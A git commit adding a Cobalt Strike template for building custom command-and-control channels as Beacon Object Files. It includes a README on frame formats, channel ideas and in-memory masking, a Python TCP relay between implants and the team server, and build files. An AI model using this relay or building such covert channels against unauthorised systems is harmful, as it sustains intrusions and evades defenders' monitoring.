Basic UDC2-VS Template with TCP example.

This commit is contained in:
Chris Graham
2025-11-24 11:13:36 +00:00
committed by William Burgess
commit 303e81a297
14 changed files with 2085 additions and 0 deletions
+3
View File
@@ -0,0 +1,3 @@
[submodule "bof-vs"]
path = bof-vs
url = https://github.com/Cobalt-Strike/bof-vs
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+103
View File
@@ -0,0 +1,103 @@
# User-Defined C2 Beacon Object File Visual Studio Template
This repository contains the User-Defined C2 Beacon Object File Visual Studio (UDC2-VS) Solution. This project is designed to simplify the design, development and debugging of UDC2 BOFs built using the Beacon Object File Visual Studio template ([BOF-VS](https://github.com/Cobalt-Strike/bof-vs)).
**Note:** This repository assumes familiarity with BOF-VS. The BOF-VS project README contains
information about the Dynamic Function Resolution (DFR) macros and helper functions used
throughout this project.
### Prerequisites:
* An x64 Windows 10/11 development machine (without a security solution)
* Visual Studio Community/Pro/Enterprise 2022 (Desktop Development with C++ installed)
* Python 3 for the BOF linter (optional) and example UDC2 servers
* Network visibility of the team server's UDC2 listener
## Creating A User-Defined C2 Channel
A UDC2 channel requires two separate components:
1. The UDC2 client which must be implemented as a Beacon Object File (BOF)
2. The UDC2 server which can be created in any programming language and run independently of the team server, provided it has network visibility of the UDC2 listener.
A high level architecture of UDC2 is shown here:
```
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ │ │ │ │ │
│ Beacon │ <----> │ UDC2 Server │ <----> │ Team Server │
│ [UDC2 BOF] │ │ │ │ │
│ │ │ │ │ │
└─────────────────┘ └─────────────────┘ └─────────────────┘
```
The Cobalt Strike client will stomp the UDC2 BOF into an exported payload. At runtime, Beacon will call the `go()` entry point of the UDC2 BOF and pass it a pointer to a UDC2_INFO structure. This structure allows the UDC2 BOF to tell Beacon where it can find the core UDC2 functions - `udc2Proxy()` and `udc2Close()`. Beacon will then call `udc2Proxy()` each time it needs to send and receive data, and finally `udc2Close()` when the Beacon exits.
The udc2-bof-vs solution's default example (udc2_bof.cpp) is a simple TCP channel implementation. It is only intended as a quick start guide to help UDC2 developers get up and running quickly and to understand the concepts behind sending and receiving frame data.
There are four important functions in this file:
- go() - The BOF entry point
- init() - An init function which can be used to set up/initialize a UDC2 channel
- udc2Proxy() - The proxy function called by Beacon each time it needs to send and receive data
- udc2Close() - A function for cleanup tasks like freeing any memory, closing connections, etc, which is called by Beacon when it is about to exit
### Understanding Beacon Frames
Beacon sends and receives data in encrypted frames. A frame is simply a buffer of data that contains a 4-byte little endian packed length value followed by the raw encrypted buffer. When Beacon calls your `udc2Proxy` function, it will pass a complete frame to you in the `sendBuf` parameter. This outbound frame simply needs to be sent out over your protocol as is. When your UDC2 server gets the response from the Team Server, it will also be in frame format and needs to be written back via the `recvBuf` parameter of your `udc2Proxy` function in that format as well. Do not strip off the packed length value when writing the data back to the read buffer. Problems with frame data formatting are going to be the most likely single biggest source of failure when designing your UDC2 implementation, so always double check that first.
## UDC2 Server Quick Start Guide
The UDC2 server acts as a relay between your UDC2 BOF and the Cobalt Strike Team Server. It is responsible for unwrapping Beacon frames from your chosen protocol and sending those directly to the Team Server. If you are creating an HTTP channel for example, your UDC2 server would function as your HTTP endpoint and handle HTTP requests from your UDC2 BOF.
To build a UDC2 server:
1. Decide on which language best suits your needs
2. Implement your protocol handler
3. For EACH Beacon that connects to your UDC2 server, you MUST establish a new TCP connection to your UDC2 listener on the Team Server to relay the frame data
4. Each new TCP session that is established with the UDC2 listener requires that you first send a "go" frame to start the session. See the tcp_udc2_server.py script for an example.
5. Once a new session is established, send the frame data you received from your Beacon to the UDC2 listener, and transfer the frame data you receive in the response back to your UDC2 BOF
## Debug Build Quick Start Guide
The `Debug` target builds the UDC2 BOF as an executable, which provides the convenience of debugging it directly within Visual Studio with its built-in debugger. This makes it possible to work at the source code level without running the BOF through a Beacon.
**Note**: The `Debug` build's `Main()` function is not designed to replicate the UDC2 server component. Instead, it retrieves a Beacon payload and runs it within the `Debug` executable to act as a shim between the Beacon payload and the UDC2 client. This makes it possible to properly simulate a live environment. Do not re-use functions that are part of this debugging setup as they are designed specifically for that scenario. Refer to the example code instead.
To start Debugging:
1. Configure a "Debug only" UDC2 listener in the Cobalt Strike client
2. Start the TCP UDC2 server python script which is in the same folder as the Visual Studio solution - `python3 tcp_udc2_server.py --bind-addr <addr to bind to> --bind-port <port to listen on> --ts-addr <team server addr> --ts-port <udc2 debug listener port>`
3. Set the `gUDC2Server` and `gUDC2ServerPort` variables in udc2_bof.cpp to your UDC2 server bind address and port
4. Set the `UDC2_DEBUG_HOST` and `UDC2_DEBUG_PORT` variables in the debug main function (used to retrieve a debug payload from the UDC2 listener)
5. Click "Local Windows Debugger"
## Release Build Quick Start Guide
The `Release` target builds the UDC2 BOF into an object file for use in Cobalt Strike. You can build both x86 and x64 versions of the BOF.
To start using your UDC2 BOF:
1. Set the `gUDC2Server` and `gUDC2ServerPort` variables in udc2_bof.cpp to the address you will bind your UDC2 server to and the port you will use
2. Build the UDC2 BOF for `Release`
3. Create a new UDC2 listener in the Cobalt Strike client (make sure "Debug Only" is not checked) and specify the full path to your UDC2 object file that you just built
4. Start the TCP UDC2 server python script which is in the same folder as the Visual Studio solution - `python3 tcp_udc2_server.py --bind-addr <addr to bind to> --bind-port <port to listen on> --ts-addr <team server addr> --ts-port <udc2 listener port>` making sure that the bind address and bind port match what you set in step 1
5. Export a payload from your Cobalt Strike client that uses your newly created UDC2 listener from step 3
6. Run your payload
## FAQ
- **What kind of C2 channels can I create with UDC2?**
It is possible to create C2 channels over files, ICMP, HTTP, Slack, Discord, Azure, AWS, etc. If you can build a transport for it in your UDC2 BOF, it can work as a C2 channel.
- **Can I use a round-robin approach to UDC2 and have Beacon try multiple UDC2 BOFs until it establishes a connection?**
Currently this is not supported, however it may be implemented in a future release
- **Do UDC2 payloads link in specific Windows libraries for comms?**
By default, the only comms library that the UDC2 payload will be linked against is WS2_32. If you need to utilize other Windows libraries such as WinINet for HTTP comms, you can use dynamic function resolution in your BOF
- **Is there a size limit to UDC2 BOFs?**
Yes, BOFs are currently limited to roughly 32 KB. This should be sufficient for most C2 implementations, however depending on usage and feedback, it may be increased.
- **Can I adjust the size of the buffer pointed to by recvBuf to accommodate larger data transfers**
Yes, that value is controlled via the `tasks_max_size` malleable c2 profile setting and by default starts at 1 MB
- **Can I link UDC2 Beacons in a P2P way?**
Currently this is not supported, however it is possible that this will be added in a future release.
- **Is my UDC2 BOF exposed in memory when Beacon is sleeping?**
No, Beacon will mask the UDC2 BOF before it calls into its own sleepmask.
Submodule
+1
Submodule bof-vs added at 42517d33fe
+205
View File
@@ -0,0 +1,205 @@
import socket
import struct
import argparse
import threading
from typing import Optional
def send_frame(sock: socket.socket, payload: bytes) -> None:
"""Send a frame with 4-byte length prefix followed by payload."""
length = len(payload)
frame = struct.pack('<I', length) + payload
sock.sendall(frame)
def receive_frame(sock: socket.socket) -> bytes:
"""Receive a frame: 4-byte length prefix followed by payload."""
length_bytes = sock.recv(4)
if len(length_bytes) != 4:
raise ConnectionError("Failed to read frame length")
length = struct.unpack('<I', length_bytes)[0]
payload = b''
while len(payload) < length:
chunk = sock.recv(length - len(payload))
if not chunk:
raise ConnectionError("Connection closed while reading payload")
payload += chunk
return length_bytes + payload
def parse_arguments() -> argparse.Namespace:
"""Parse command line arguments for server configuration."""
parser = argparse.ArgumentParser(
description='UDC2 TCP Server - Relay frames between Beacon and TeamServer',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
%(prog)s --bind-addr 0.0.0.0 --bind-port 8443 --ts-addr 192.168.1.100 --ts-port 2222
'''
)
# TeamServer connection settings
parser.add_argument(
'--ts-addr', '--teamserver-address',
default='127.0.0.1',
help='TeamServer IP address or hostname (default: %(default)s)'
)
parser.add_argument(
'--ts-port', '--teamserver-port',
type=int,
default=2222,
help='TeamServer port number (default: %(default)d)'
)
# Bind settings for incoming connections
parser.add_argument(
'--bind-addr', '--bind-address',
default='127.0.0.1',
help='Local IP address to bind for incoming connections (default: %(default)s)'
)
parser.add_argument(
'--bind-port', '--bind-port',
type=int,
default=8443,
help='Local port to bind for incoming connections (default: %(default)d)'
)
# Additional options
parser.add_argument(
'--verbose', '-v',
action='store_true',
help='Enable verbose logging'
)
return parser.parse_args()
def handle_client_connection(client_socket: socket.socket, client_address: tuple, args: argparse.Namespace) -> None:
"""Handle a single client connection by proxying data to/from the TeamServer."""
if args.verbose:
print(f"[+] New client connection from {client_address}")
try:
# Connect to TeamServer
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as ts_socket:
try:
ts_socket.connect((args.ts_addr, args.ts_port))
if args.verbose:
print(f"[+] Connected to TeamServer at {args.ts_addr}:{args.ts_port}")
except (ConnectionError, socket.error) as e:
print(f"[-] Failed to connect to TeamServer {args.ts_addr}:{args.ts_port}: {e}")
return
# Send initial "go" frame
send_frame(ts_socket, b"go")
if args.verbose:
print("[*] Sent initial 'go' frame")
# Proxy loop: relay frames between client and TeamServer
while True:
try:
# Receive frame from client
client_frame = receive_frame(client_socket)
if args.verbose:
print(f"[+] Received {len(client_frame)} bytes from client")
# Forward frame to TeamServer
ts_socket.sendall(client_frame)
if args.verbose:
print(f"[+] Sent {len(client_frame)} bytes to TeamServer")
# Receive response from TeamServer
ts_response = receive_frame(ts_socket)
if args.verbose:
print(f"[+] Received {len(ts_response)} bytes from TeamServer")
# Forward response back to client
client_socket.sendall(ts_response)
if args.verbose:
print(f"[+] Sent {len(ts_response)} bytes back to client")
except ConnectionError:
if args.verbose:
print(f"[*] Connection closed by client {client_address}")
break
except Exception as e:
print(f"[-] Error in proxy loop for {client_address}: {e}")
break
except Exception as e:
print(f"[-] Error handling client {client_address}: {e}")
finally:
try:
client_socket.close()
except:
pass
if args.verbose:
print(f"[*] Closed connection to {client_address}")
def main() -> Optional[int]:
# Parse command line arguments
args = parse_arguments()
if args.verbose:
print(f"UDC2 TCP Server Configuration:")
print(f" Bind Address: {args.bind_addr}:{args.bind_port}")
print(f" TeamServer: {args.ts_addr}:{args.ts_port}")
print(f" Starting TCP proxy server...")
# Create and configure server socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
# Bind to the specified address and port
server_socket.bind((args.bind_addr, args.bind_port))
server_socket.listen(5) # Allow up to 5 queued connections
# Set a timeout so accept() doesn't block indefinitely
server_socket.settimeout(1.0) # 1 second timeout
print(f"[*] UDC2 TCP Server listening on {args.bind_addr}:{args.bind_port}")
print(f"[*] Forwarding to TeamServer at {args.ts_addr}:{args.ts_port}")
print(f"[*] Press Ctrl+C to stop the server")
while True:
try:
# Accept incoming client connection
client_socket, client_address = server_socket.accept()
print(f"[*] Accepted connection from {client_address}")
# Handle each client in a separate thread
client_thread = threading.Thread(
target=handle_client_connection,
args=(client_socket, client_address, args),
daemon=True
)
client_thread.start()
except socket.timeout:
# Timeout is expected, just continue the loop to check for KeyboardInterrupt
continue
except Exception as e:
print(f"[-] Error accepting connection: {e}")
continue
except KeyboardInterrupt:
print("\n[*] Shutting down server...")
except Exception as e:
print(f"[-] Failed to start server: {e}")
return 1
finally:
server_socket.close()
if args.verbose:
print("[*] Server socket closed")
return 0
if __name__ == "__main__":
try:
exit_code = main()
exit(exit_code or 0)
except (ConnectionError, socket.error) as e:
print(f"Error: {e}")
exit(1)
+37
View File
@@ -0,0 +1,37 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.5.33414.496
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "udc2-bof-vs", "udc2-bof-vs\udc2-bof-vs.vcxproj", "{58EBEE7C-B0CF-49E3-AE82-E60750C03613}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
UnitTest|x64 = UnitTest|x64
UnitTest|x86 = UnitTest|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.ActiveCfg = Debug|x64
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.Build.0 = Debug|x64
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.ActiveCfg = Debug|Win32
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.Build.0 = Debug|Win32
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.ActiveCfg = Release|x64
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.Build.0 = Release|x64
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.ActiveCfg = Release|Win32
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.Build.0 = Release|Win32
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.ActiveCfg = UnitTest|x64
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.Build.0 = UnitTest|x64
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.ActiveCfg = UnitTest|Win32
{58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.Build.0 = UnitTest|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {05614438-CD94-4CA7-899A-327C067C1C3B}
EndGlobalSection
EndGlobal
+51
View File
@@ -0,0 +1,51 @@
CFLAGS=/c /GS- /std:c++20 /D_HAS_EXCEPTIONS=0 /GR-
DEBUGCFLAGS=/Zi /MTd /D_DEBUG /EHsc /std:c++20
PYTHON=python
!IF "$(PROCESSOR_ARCHITECTURE)" != "x86" && "$(PROCESSOR_ARCHITECTURE)" != "AMD64"
!ERROR Only x86 and AMD64 architectures are supported or the PROCESSOR_ARCHITECTURE environment variable is not set.
!ELSEIF "$(PROCESSOR_ARCHITECTURE)" == "AMD64"
OUTDIR=..\x64\Release\
IMDIR=x64\Release\
DOUTDIR=..\x64\Debug\
DIMDIR=x64\Debug\
OUTEXT=.x64.o
!ELSE
OUTDIR=..\Release\
IMDIR=Release\
DIMDIR=Debug\
DOUTDIR=..\Debug\
OUTEXT=.x86.o
!ENDIF
all: *.cpp
@$(MAKE) /A $(patsubst %.c,%.obj, $(patsubst %.cpp, %.obj, $(patsubsti %, $(IMDIR)\%, $**)))
@if not exist "$(OUTDIR)" mkdir "$(OUTDIR)"
copy "$(IMDIR)\*.obj" "$(OUTDIR)"
del /F "$(OUTDIR)\*$(OUTEXT)"
ren "$(OUTDIR)*.obj" "*$(OUTEXT)"
all-debug: *.cpp
@$(MAKE) /A $(patsubst %.c,%.exe, $(patsubst %.cpp, %.exe, $(patsubsti %, $(DOUTDIR)\%, $**)))
.cpp{$(IMDIR)}.obj:
@if not exist "$(IMDIR)" mkdir "$(IMDIR)"
$(CPP) $(CFLAGS) /Fo"$@" $<
@(where $(PYTHON) >nul 2>nul \
&& $(PYTHON) --version >nul 2>nul \
|| (echo [*] Install Python to enable boflint && exit /b 0) \
) && $(PYTHON) utils\boflint.py --logformat vs --loader cs "$@"
.cpp{$(DOUTDIR)}.exe:
@if not exist "$(DIMDIR)" mkdir "$(DIMDIR)"
@if not exist "$(DOUTDIR)" mkdir "$(DOUTDIR)"
$(CPP) $(DEBUGCFLAGS) /Fo$(DIMDIR) /Fd$(DIMDIR) /Fe"$@" $<
clean:
@if exist "$(DIMDIR)" rmdir /Q /S "$(DIMDIR)"
@if exist "$(IMDIR)" rmdir /Q /S "$(IMDIR)"
@if exist "$(OUTDIR)" rmdir /Q /S "$(OUTDIR)"
@if exist "$(DOUTDIR)" rmdir /Q /S "$(DOUTDIR)"
+14
View File
@@ -0,0 +1,14 @@
#ifdef __cplusplus
#ifndef _DEBUG
#define DFR(module, function) \
DECLSPEC_IMPORT decltype(function) module##$##function;
#define DFR_LOCAL(module, function) \
DECLSPEC_IMPORT decltype(function) module##$##function; \
decltype(module##$##function) * function = module##$##function;
#else
#define DFR_LOCAL(module, function)
#define DFR(module, function) \
decltype(function) *module##$##function = function;
#endif // end of _DEBUG
#endif // end of __cplusplus
+247
View File
@@ -0,0 +1,247 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="UnitTest|Win32">
<Configuration>UnitTest</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="UnitTest|x64">
<Configuration>UnitTest</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{58ebee7c-b0cf-49e3-ae82-e60750c03613}</ProjectGuid>
<RootNamespace>BOFTemplate</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Makefile</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<LocalDebuggerCommand>Debug\udc2_bof.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Makefile</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Makefile</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<LocalDebuggerCommand>x64\Debug\udc2_bof.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Makefile</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<NMakeBuildCommandLine>nmake /A all</NMakeBuildCommandLine>
<NMakeReBuildCommandLine>nmake /A all</NMakeReBuildCommandLine>
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
<AdditionalOptions>/std:c++20</AdditionalOptions>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<NMakeBuildCommandLine>nmake /A all</NMakeBuildCommandLine>
<NMakeReBuildCommandLine>nmake /A all</NMakeReBuildCommandLine>
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
<AdditionalOptions>/std:c++20</AdditionalOptions>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
<AdditionalOptions>/std:c++20</AdditionalOptions>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'">
